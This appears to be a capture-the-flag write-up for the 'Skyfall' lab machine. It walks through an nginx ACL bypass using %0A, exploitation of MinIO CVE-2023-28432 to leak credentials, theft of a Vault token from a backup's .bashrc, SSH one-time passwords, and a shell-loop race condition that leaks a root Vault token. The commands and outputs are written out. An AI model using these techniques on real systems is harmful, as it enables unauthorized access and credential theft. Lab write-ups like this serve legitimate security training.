PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 65:70:f7:12:47:07:3a:88:8e:27:e9:cb:44:5d:10:fb (ECDSA)
|_ 256 74:48:33:07:b7:88:9d:32:0e:3b:ec:16:aa:b4:c8:fe (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Skyfall - Introducing Sky Storage!
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The scan with nmap shows only two open ports and the HTTP title hints towards some kind of online storage.
HTTP
The webpage shows a welcome screen for the future of data management with Sky Storage. The team section exposes three email addresses jbond@skyfall.htb, askyy@skyfall.htb, and btanner@skyfall.htb. Additionally one is supposed to email contact@skyfall.com if there are any questions.
There’s also a demo section that points towards demo.skyfall.htb leading me to add this and the domain from the mails to my /etc/hosts.
Initial Access
The login prompt for the demo already mentions the needed credentials guest:guest and I can log straight in.
Through the dashboard I can access one file Welcome.pdf and upload anything, either by drag & drop or specifying a URL to fetch from. The Beta Features are access restricted and the MinIO Metrics just leads towards a 403 page. It seems possible to contact the administrator by using Escalate but it may take up to 24 hours to hear back.
As seen in the nmap scan and by inspecting the response from the server, there’s a nginx reverse proxy in place - the footer mentions Flask as backend.
Sometimes nginx ACL rules can be bypassed by adding characters that are not removed by nginx for the check but then later ignored by the backend server1. There are multiple characters to try, among those \x0c, \x0a, and \x09 and adding one of those to the /metrics endpoint returns a status code 200 instead of 403.
Using %0A in the address bar lets me bypass the check easily in Firefox and I can access the metrics page. There are all kinds of information regarding MinIO available, notably the version 2023-03-13T19:46:17Z and the endpoint url http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/cluster.
Apparently there are at least two known vulnerabilities for that version2 and there are PoCs available for CVE-2023-28432, an information disclosure vulnerability, and CVE-2023-28434, a remote code execution vulnerability.
Note
The remote code execution is based upon updating the application to a new version and supplying a modified binary.
Unfortunately the update features is deactivated for the docker container (MINIO_UPDATE=off), disabling POST requests to the update endpoint and therefore RCE is not possible.
In order to use the information disclosure vulnerability I just have to send a POST request to http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify and the application will happily return its configuration.
The credentials obtained let me login to MinIO with mc. Therefore I add a new alias skyfall by providing the url, user and password. Those values will be stored in a config in my home directory.
The documentation provides an extensive overview of the actions I can perform. In order to list all files in MinIOls is used and additionally I can specify --recursive and --versions to list the whole tree and all available versions.
./mc ls skyfall --recursive --versions[2023-11-08 05:59:15 CET] 0B askyy/[2023-11-08 06:35:28 CET] 48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT askyy/Welcome.pdf[2023-11-09 22:37:25 CET] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT askyy/home_backup.tar.gz[2023-11-09 22:37:09 CET] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT askyy/home_backup.tar.gz[2023-11-09 22:36:30 CET] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT askyy/home_backup.tar.gz[2023-11-08 05:58:56 CET] 0B btanner/[2023-11-08 06:35:36 CET] 48KiB STANDARD null v1 PUT btanner/Welcome.pdf[2023-11-08 05:58:33 CET] 0B emoneypenny/[2023-11-08 06:35:56 CET] 48KiB STANDARD null v1 PUT emoneypenny/Welcome.pdf[2023-11-08 05:58:22 CET] 0B gmallory/[2023-11-08 06:36:02 CET] 48KiB STANDARD null v1 PUT gmallory/Welcome.pdf[2023-11-08 01:08:01 CET] 0B guest/[2023-11-08 01:08:05 CET] 48KiB STANDARD null v1 PUT guest/Welcome.pdf[2023-11-08 05:59:05 CET] 0B jbond/[2023-11-08 06:35:45 CET] 48KiB STANDARD null v1 PUT jbond/Welcome.pdf[2023-11-08 05:58:10 CET] 0B omansfield/[2023-11-08 06:36:09 CET] 48KiB STANDARD null v1 PUT omansfield/Welcome.pdf[2023-11-08 05:58:45 CET] 0B rsilva/[2023-11-08 06:35:51 CET] 48KiB STANDARD null v1 PUT rsilva/Welcome.pdf
From the output of the command it looks like everyone has access to the sameWelcome.pdf and just askyy has uploaded something else. Three versions of home_backup.tar.gz sound interesting to me because they might contain credentials or even SSH keys. To check them out, I do download all three with mc cp while adding the --version-id.
./mc cp --version-id 2b75346d-2a47-4203-ab09-3c9f878466b8 skyfall/askyy/home_backup.tar.gz home_backup.tar.gz...d.skyfall.htb/askyy/home_backup.tar.gz: 2.64 KiB / 2.64 KiB# Extract the archivemkdir home_backup && tar -C home_backup -xf home_backup.tar.gzls home_backup-rw-rw-r-- 1 ryuki ryuki 1 Nov 9 2023 .bash_history-rw-r--r-- 1 ryuki ryuki 220 Jan 6 2022 .bash_logout-rw-r--r-- 1 ryuki ryuki 3953 Nov 9 2023 .bashrcdrwx------ 2 ryuki ryuki 4096 Oct 9 2023 .cache-rw-r--r-- 1 ryuki ryuki 807 Jan 6 2022 .profiledrwx------ 2 ryuki ryuki 4096 Nov 9 2023 .ssh-rw-r--r-- 1 ryuki ryuki 0 Oct 9 2023 .sudo_as_admin_successfulcat ./home_backup/.bashrc--- SNIP ---export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"--- SNIP ---
The backup file with ID 2b75346d-2a47-4203-ab09-3c9f878466b8 includes a .bashrc file with two environment variables and those likely belong to Vault. The interaction with Vault is done with a binary available on their website. Instead of VAULT_API_ADDR the client does use VAULT_ADDR3 and for some reason ignores the VAULT_TOKEN variable at first so I have to provide it during the login on the commandline.
./vault loginToken (will be hidden): WARNING! The VAULT_TOKEN environment variable is set! The value of thisvariable will take precedence; if this is unwanted please unset VAULT_TOKEN orupdate its value accordingly.Success! You are now authenticated. The token information displayed belowis already stored in the token helper. You do NOT need to run "vault login"again. Future Vault requests will automatically use this token.Key Value--- -----token hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVEtoken_accessor rByv1coOBC9ITZpzqbDtTUm8token_duration 431115h10m39stoken_renewable truetoken_policies ["default" "developers"]identity_policies []policies ["default" "developers"]
A post on StackOverflow shows a way on how to list all the paths on the API that I can access via the client.
Most interesting to me seems ssh/creds/dev_otp_key_role and the online research eventually brought me to One-time SSH passwords. The policy that is needed for this closely resembles the capabilities that I do have over the dev_otp_key_role.
Providing a username and the IP to connect to vault write ssh/creds/dev_otp_key_role returns a key to use as password for SSH. Doing so for user askyy lets me login and collect the first flag.
./vault write ssh/creds/dev_otp_key_role ip=10.129.230.158 username=askyyKey Value--- -----lease_id ssh/creds/dev_otp_key_role/0ZcAhFjJ9SNfm6LS5ZYZEYAElease_duration 768hlease_renewable falseip 10.129.230.158key b5a95138-27a8-b58f-30ae-48a10fa56e95key_type otpport 22username askyyssh -o PubkeyAuthentication=no askyy@10.129.230.158(askyy@10.129.230.158) Password:Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/proThis system has been minimized by removing packages and content that arenot required on a system that users do not log into.To restore this content, you can run the 'unminimize' command.Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settingsaskyy@skyfall:~$
Hint
As a faster alternative it’s also possible to use the vault ssh command and initiate a SSH connection directly4.
The user askyy can run one command as any user: /root/vault/vault-unseal and optionally specify a few command line parameters. Running the file with -h (for help) explains the other commandline parameters, -v for verbose, -d for debug, and -c to specify the configuration file.
sudo -lnMatching Defaults entries for askyy on skyfall: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser askyy may run the following commands on skyfall: (ALL : ALL) NOPASSWD: /root/vault/vault-unseal ^-c /etc/vault-unseal.yaml -[vhd]+$ (ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml
When running with the -d flag a new file called debug.log is created in the current working directory but it’s only readable by root himself. When I create my own file first and then run vault-unseal I get the same outcome.
Note
In a previous version of this box chown did not happen and it was possible to read the debug.log right away if it was created by askyy prior to the execution.
Using pspy to listen to filesystem events I can observe that the log file is deleted, created, opened, modified several times before it’s closed again. That means even though I create the file, it will be deleted but this opens up a race-condition between the deletion and recreation of the log file.
The host does not have any terminal multiplexer, so I open two more SSH sessions to abuse the race-condition. Those three sessions will do the following in a while loop:
Create a file debug.log in the current directory with touch
Try to read the file debug.log with cat
Execute the vault-unseal command
If everything goes according to plan a log file, readable by my user, will be created right after the deletion took place but before the vault-unseal command creates the new log file. In that case I should be able to read the contents of the file before it will be deleted again and the cycle repeats.
# Session 1: Create the filewhile true; do touch /home/askyy/debug.log 2>/dev/null; done# Session 2: Read the filewhile true; do cat /home/askyy/debug.log 2>&1 | grep -iv "Permission denied"; done# Session 3: Call the vault-unseal in /home/askyywhile true; do sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd; done
Bingo, that worked and after a few seconds session #2 prints the content of the debug.log exposing a master token for Vault.
debug.log
2024/08/22 19:13:17 Reading: /etc/vault-unseal.yaml2024/08/22 19:13:17 Security Risk!2024/08/22 19:13:17 Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG2024/08/22 19:13:17 Found Vault node: http://prd23-vault-internal.skyfall.htb2024/08/22 19:13:17 Check interval: 5s2024/08/22 19:13:17 Max checks: 52024/08/22 19:13:17 Establishing connection to Vault...2024/08/22 19:13:17 Successfully connected to Vault: http://prd23-vault-internal.skyfall.htb2024/08/22 19:13:17 Checking seal status2024/08/22 19:13:17 Vault sealed: false
Repeating the login process to Vault with the new token allows me to access the admin_otp_key_role and I use that to connect as root and collect the final flag.
./vault list "ssh/roles"Keys----admin_otp_key_roledev_otp_key_role./vault ssh -role admin_otp_key_role -mode otp -strict-host-key-checking=no root@skyfall.htb
Attack Path
flowchart TD
subgraph "Initial Access"
A(Demo Application) -->|Filter Bypass| B("Information Disclosure\nBackend Server")
B -->|CVE-2023-28432| C("Information Disclosure\nEnvironment Variables incl. Credentials")
C -->|Admin Access to MinIO| D(Access to all files)
D -->|Retrieve Backups| E(Vault Credentials in .bashrc)
E -->|One-Time SSH Password| F(Access as askyy)
end
subgraph "Privilege Escalation"
F -->|Race-Condition in seal-unvault| G(Vault Credentials for root)
G -->|One-Time SSH Password| H(Access as root)
end